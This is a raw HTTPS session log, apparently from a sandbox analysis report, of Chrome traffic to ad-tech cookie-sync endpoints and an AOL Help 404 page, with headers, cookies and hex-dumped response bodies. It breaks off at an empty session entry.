2024-05-23 22:35:04 UTC	945	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw&gdpr=0&gdpr_consent= HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=2; pi=0:3; DPSync3=1717632000%3A219_197_201_245_241_227_226; SyncRTB3=1717632000%3A56_21_71_220_13_233_22_264_251_54_266_55_3_8_46%7C1717718400%3A35%7C1717027200%3A15_223%7C1717286400%3A63%7C1719014400%3A203
2024-05-23 22:35:04 UTC	319	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:04 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:04 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
409	192.168.2.6	50208	69.147.82.60	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	1088	OUT	GET /assets/js/vendor/rapidworker-1.2.js HTTP/1.1 Host: help.aol.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B
2024-05-23 22:35:04 UTC	677	IN	HTTP/1.1 404 Date: Thu, 23 May 2024 22:35:04 GMT Content-Type: text/html;charset=utf-8 Server: ATS last-modified: Mon, 06 May 2024 20:56:42 GMT etag: "fd48d3157cfa6b6e6fec3e50787e357aa3288c88-gzip" vary: origin,accept-encoding strict-transport-security: max-age=31536000 x-frame-options: DENY x-download-options: noopen cache-control: max-age=300, must-revalidate x-frame-options: DENY Referrer-Policy: no-referrer-when-downgrade Age: 0 Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:35:04 UTC	1300	IN	Data Raw: 37 64 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 41 4f 4c 20 48 65 6c 70 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 61 74 68 3a 67 75 63 65 3a 63 6f 6e 73 65 6e 74 2d 68 6f 73 74 22 20 63 6f 6e 74 65 6e 74 3d 22 67 75 63 65 2e 61 6f 6c 2e 63 6f 6d 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: 7dc4<!DOCTYPE html><html lang="en"><head><title>Not Found - AOL Help</title><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="oath:guce:consent-host" content="guce.aol.com"><meta name="viewport" content="width=device
2024-05-23 22:35:04 UTC	1300	IN	Data Raw: 22 2c 22 69 6d 61 67 65 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 73 2e 61 6f 6c 63 64 6e 2e 63 6f 6d 2f 6f 73 2f 68 65 6c 70 2d 6d 61 69 6e 2f 63 6f 6e 74 65 6e 74 2d 74 79 70 65 73 2f 6c 2f 66 61 71 2e 70 6e 67 22 2c 22 66 61 63 65 62 6f 6f 6b 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 41 4f 4c 43 75 73 74 6f 6d 65 72 43 61 72 65 22 2c 22 66 61 63 65 62 6f 6f 6b 5f 61 70 70 5f 69 64 22 3a 22 33 36 35 33 39 38 35 38 33 34 39 33 34 34 32 22 2c 22 74 77 69 74 74 65 72 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 74 77 69 74 74 65 72 2e 63 6f 6d 2f 41 4f 4c 53 75 70 70 6f 72 74 48 65 6c 70 22 2c 22 74 77 69 74 74 65 72 5f 75 73 65 72 6e 61 6d 65 22 3a 22 41 4f 4c 53 75 70 70 6f 72 74 48 65 6c 70 22 7d Data Ascii: ","image_url":"https://s.aolcdn.com/os/help-main/content-types/l/faq.png","facebook_url":"https://www.facebook.com/AOLCustomerCare","facebook_app_id":"365398583493442","twitter_url":"https://twitter.com/AOLSupportHelp","twitter_username":"AOLSupportHelp"}
2024-05-23 22:35:04 UTC	1300	IN	Data Raw: 6e 74 65 6e 74 2f 61 6c 65 72 74 2f 7b 73 6b 75 7d 3f 73 69 74 65 3d 75 73 61 6f 6c 22 2c 22 6e 61 76 69 67 61 74 69 6f 6e 5f 75 74 69 6c 69 74 79 22 3a 22 63 61 74 61 6c 6f 67 2f 63 6d 73 2f 68 65 6c 70 2d 63 65 6e 74 72 61 6c 2d 75 73 61 6f 6c 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 75 74 69 6c 69 74 79 2d 7b 73 75 70 70 6f 72 74 5f 6c 65 76 65 6c 7d 22 2c 22 6e 61 76 69 67 61 74 69 6f 6e 5f 66 6f 6f 74 65 72 22 3a 22 63 61 74 61 6c 6f 67 2f 63 6d 73 2f 68 65 6c 70 2d 63 65 6e 74 72 61 6c 2d 75 73 61 6f 6c 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 66 6f 6f 74 65 72 22 2c 22 6e 61 76 69 67 61 74 69 6f 6e 5f 72 61 69 6c 22 3a 22 63 61 74 61 6c 6f 67 2f 63 6d 73 2f 68 65 6c 70 2d 63 65 6e 74 72 61 6c 2d 75 73 61 6f 6c 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 72 61 69 6c Data Ascii: ntent/alert/{sku}?site=usaol","navigation_utility":"catalog/cms/help-central-usaol-navigation-utility-{support_level}","navigation_footer":"catalog/cms/help-central-usaol-navigation-footer","navigation_rail":"catalog/cms/help-central-usaol-navigation-rail
2024-05-23 22:35:04 UTC	1300	IN	Data Raw: 64 6e 2e 63 6f 6d 2f 70 73 73 74 61 74 69 63 2f 61 6f 6c 68 65 6c 70 2d 70 72 6f 64 2f 31 38 2e 35 2e 35 33 2f 61 73 73 65 74 73 2f 6d 6f 64 75 6c 65 73 2f 22 3b 0a 41 6f 6c 48 65 6c 70 47 6c 6f 62 61 6c 73 2e 61 73 73 65 74 73 55 72 6c 20 3d 20 22 68 74 74 70 73 3a 2f 2f 73 2e 61 6f 6c 63 64 6e 2e 63 6f 6d 2f 70 73 73 74 61 74 69 63 2f 61 6f 6c 68 65 6c 70 2d 70 72 6f 64 2f 31 38 2e 35 2e 35 33 2f 61 73 73 65 74 73 22 3b 0a 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 6f 61 2f 63 6f 6e 73 65 6e 74 2e 6a 73 22 20 61 73 79 6e 63 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 Data Ascii: dn.com/psstatic/aolhelp-prod/18.5.53/assets/modules/";AolHelpGlobals.assetsUrl = "https://s.aolcdn.com/psstatic/aolhelp-prod/18.5.53/assets";</script><script type="text/javascript" src="https://s.yimg.com/oa/consent.js" async></script><script type="text
2024-05-23 22:35:04 UTC	1300	IN	Data Raw: 20 63 61 72 65 20 62 79 20 65 6d 61 69 6c 2c 20 63 68 61 74 2c 20 6f 72 20 70 68 6f 6e 65 20 6e 75 6d 62 65 72 2e 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 61 6f 6c 63 64 6e 2e 63 6f 6d 2f 6f 73 2f 68 65 6c 70 2d 6d 61 69 6e 2f 63 6f 6e 74 65 6e 74 2d 74 79 70 65 73 2f 6c 2f 66 61 71 2e 70 6e 67 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 Data Ascii: care by email, chat, or phone number."><meta property="og:image" content="https://s.aolcdn.com/os/help-main/content-types/l/faq.png"><meta property="og:url" content="https://"><meta name="twitter:card" content="summary"><meta name="twitter:title" content
2024-05-23 22:35:04 UTC	1170	IN	Data Raw: 72 5f 66 6c 61 67 73 22 29 2e 73 70 6c 69 74 28 22 2c 22 29 2c 63 6f 6e 73 6f 6c 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 26 26 28 73 2e 63 6f 6e 73 6f 6c 65 3d 21 30 2c 6f 2e 69 6e 64 65 78 4f 66 28 22 64 65 76 22 29 21 3d 3d 2d 31 26 26 28 73 2e 64 65 76 3d 21 30 29 2c 6f 2e 69 6e 64 65 78 4f 66 28 22 6e 72 5f 64 65 76 22 29 21 3d 3d 2d 31 26 26 28 73 2e 6e 72 44 65 76 3d 21 30 29 29 7d 63 61 74 63 68 28 63 29 7b 7d 73 2e 6e 72 44 65 76 26 26 69 2e 6f 6e 28 22 69 6e 74 65 72 6e 61 6c 2d 65 72 72 6f 72 22 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 28 74 2e 73 74 61 63 6b 29 7d 29 2c 73 2e 64 65 76 26 26 69 2e 6f 6e 28 22 66 6e 2d 65 72 72 22 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 72 28 Data Ascii: r_flags").split(","),console&&"function"==typeof console.log&&(s.console=!0,o.indexOf("dev")!==-1&&(s.dev=!0),o.indexOf("nr_dev")!==-1&&(s.nrDev=!0))}catch(c){}s.nrDev&&i.on("internal-error",function(t){r(t.stack)}),s.dev&&i.on("fn-err",function(t,n,e){r(
2024-05-23 22:35:04 UTC	1300	IN	Data Raw: 68 72 6f 77 6e 26 26 70 3e 30 26 26 28 70 2d 3d 31 29 7d 29 2c 73 2e 6f 6e 28 22 69 6e 74 65 72 6e 61 6c 2d 65 72 72 6f 72 22 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 28 22 69 65 72 72 22 2c 5b 74 2c 63 2e 6e 6f 77 28 29 2c 21 30 5d 29 7d 29 7d 2c 7b 7d 5d 2c 33 3a 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 74 28 22 6c 6f 61 64 65 72 22 29 2e 66 65 61 74 75 72 65 73 2e 69 6e 73 3d 21 30 7d 2c 7b 7d 5d 2c 34 3a 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 74 29 7b 7d 69 66 28 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 26 26 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 74 69 6d 69 6e 67 26 26 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 Data Ascii: hrown&&p>0&&(p-=1)}),s.on("internal-error",function(t){i("ierr",[t,c.now(),!0])})},{}],3:[function(t,n,e){t("loader").features.ins=!0},{}],4:[function(t,n,e){function r(t){}if(window.performance&&window.performance.timing&&window.performance.getEntriesByT
2024-05-23 22:35:04 UTC	1300	IN	Data Raw: 6e 63 65 5b 22 63 22 2b 63 5d 28 29 7d 2c 21 31 29 3a 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 5b 66 5d 28 22 77 65 62 6b 69 74 22 2b 75 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 28 64 2c 5b 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 28 6c 29 5d 29 2c 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 5b 22 77 65 62 6b 69 74 43 22 2b 63 5d 28 29 7d 2c 21 31 29 29 2c 64 6f 63 75 6d 65 6e 74 5b 66 5d 28 22 73 63 72 6f 6c 6c 22 2c 72 2c 7b 70 61 73 73 69 76 65 3a 21 30 7d 29 2c 64 6f 63 75 6d 65 6e 74 5b 66 5d 28 22 6b 65 79 70 72 65 73 73 22 2c 72 2c 21 31 29 2c 64 6f 63 75 6d 65 6e 74 5b 66 5d 28 22 63 6c 69 63 6b 22 2c 72 2c 21 31 29 7d 7d 2c 7b 7d 5d 2c 35 3a 5b 66 75 6e 63 74 Data Ascii: nce["c"+c]()},!1):window.performance[f]("webkit"+u,function(t){i(d,[window.performance.getEntriesByType(l)]),window.performance["webkitC"+c]()},!1)),document[f]("scroll",r,{passive:!0}),document[f]("keypress",r,!1),document[f]("click",r,!1)}},{}],5:[funct
2024-05-23 22:35:04 UTC	1300	IN	Data Raw: 6e 63 74 69 6f 6e 28 74 29 7b 74 68 72 6f 77 20 6f 2e 65 6d 69 74 28 65 2b 22 65 6e 64 22 2c 5b 74 5d 2c 73 29 2c 74 7d 29 7d 29 7d 76 61 72 20 6f 3d 74 28 22 65 65 22 29 2e 67 65 74 28 22 66 65 74 63 68 22 29 2c 69 3d 74 28 32 32 29 2c 61 3d 74 28 32 31 29 3b 6e 2e 65 78 70 6f 72 74 73 3d 6f 3b 76 61 72 20 73 3d 77 69 6e 64 6f 77 2c 63 3d 22 66 65 74 63 68 2d 22 2c 66 3d 63 2b 22 62 6f 64 79 2d 22 2c 75 3d 5b 22 61 72 72 61 79 42 75 66 66 65 72 22 2c 22 62 6c 6f 62 22 2c 22 6a 73 6f 6e 22 2c 22 74 65 78 74 22 2c 22 66 6f 72 6d 44 61 74 61 22 5d 2c 64 3d 73 2e 52 65 71 75 65 73 74 2c 6c 3d 73 2e 52 65 73 70 6f 6e 73 65 2c 70 3d 73 2e 66 65 74 63 68 2c 68 3d 22 70 72 6f 74 6f 74 79 70 65 22 2c 6d 3d 22 6e 72 40 63 6f 6e 74 65 78 74 22 3b 64 26 26 6c 26 26 Data Ascii: nction(t){throw o.emit(e+"end",[t],s),t})})}var o=t("ee").get("fetch"),i=t(22),a=t(21);n.exports=o;var s=window,c="fetch-",f=c+"body-",u=["arrayBuffer","blob","json","text","formData"],d=s.Request,l=s.Response,p=s.fetch,h="prototype",m="nr@context";d&&l&&
2024-05-23 22:35:04 UTC	1300	IN	Data Raw: 6d 65 64 69 61 74 65 22 5d 2c 73 2b 64 29 2c 61 2e 69 6e 50 6c 61 63 65 28 77 69 6e 64 6f 77 2c 5b 63 5d 2c 63 2b 64 29 2c 61 2e 69 6e 50 6c 61 63 65 28 77 69 6e 64 6f 77 2c 5b 66 2c 22 63 6c 65 61 72 49 6d 6d 65 64 69 61 74 65 22 5d 2c 66 2b 64 29 2c 69 2e 6f 6e 28 63 2b 75 2c 72 29 2c 69 2e 6f 6e 28 73 2b 75 2c 6f 29 7d 2c 7b 7d 5d 2c 31 30 3a 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 74 2c 6e 29 7b 64 2e 69 6e 50 6c 61 63 65 28 6e 2c 5b 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 5d 2c 22 66 6e 2d 22 2c 73 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 6e 3d 75 2e 63 6f 6e 74 65 78 74 28 74 29 3b 74 2e 72 65 61 64 79 53 74 61 74 65 3e 33 26 26 21 6e 2e 72 65 73 6f Data Ascii: mediate"],s+d),a.inPlace(window,[c],c+d),a.inPlace(window,[f,"clearImmediate"],f+d),i.on(c+u,r),i.on(s+u,o)},{}],10:[function(t,n,e){function r(t,n){d.inPlace(n,["onreadystatechange"],"fn-",s)}function o(){var t=this,n=u.context(t);t.readyState>3&&!n.reso

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
410	192.168.2.6	50186	185.64.191.210	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	1003	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESEO5FZOJv3zXMMW5oDLBIMAE&google_cver=1 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=2; pi=0:3; DPSync3=1717632000%3A219_197_201_245_241_227_226; SyncRTB3=1717632000%3A56_21_71_220_13_233_22_264_251_54_266_55_3_8_46%7C1717718400%3A35%7C1717027200%3A15_223%7C1717286400%3A63%7C1719014400%3A203
2024-05-23 22:35:04 UTC	669	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:04 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 21-Aug-2024 22:35:04 GMT; path=/ Set-Cookie: PugT=1716503704; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:04 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:04 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
411	192.168.2.6	50191	185.89.210.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	819	OUT	GET /getuid?https://ads.yieldmo.com/v000/sync?userid=$UID&pn_id=an HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.yieldmo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; receive-cookie-deprecation=1; uuid2=9165965397510453586
2024-05-23 22:35:04 UTC	1434	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 23 May 2024 22:35:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ads.yieldmo.com/v000/sync?userid=9165965397510453586&pn_id=an AN-X-Request-Uuid: ae3eed6e-e033-4019-a93c-05633241883d Set-Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:04 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 11-May-2034 22:35:04 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=9165965397510453586; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:04 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 943.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
412	192.168.2.6	50178	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	757	OUT	GET /pixel?google_nid=tl&gdpr=0&gdpr_consent=&us_privacy=&google_hm=MzQ3NjQ5MDEwODY2MzM4NTE4NTQ0MA%3D%3D HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
2024-05-23 22:35:04 UTC	617	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://eb2.3lift.com/ebda?gdpr=0&gdpr_consent= Date: Thu, 23 May 2024 22:35:04 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 248 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:04 UTC	248	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 65 62 32 2e 33 6c 69 66 74 2e 63 6f 6d 2f 65 62 64 61 3f 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://eb2.3lift.com/ebda?gdpr=0&gdpr_consent=">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
413	192.168.2.6	50174	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
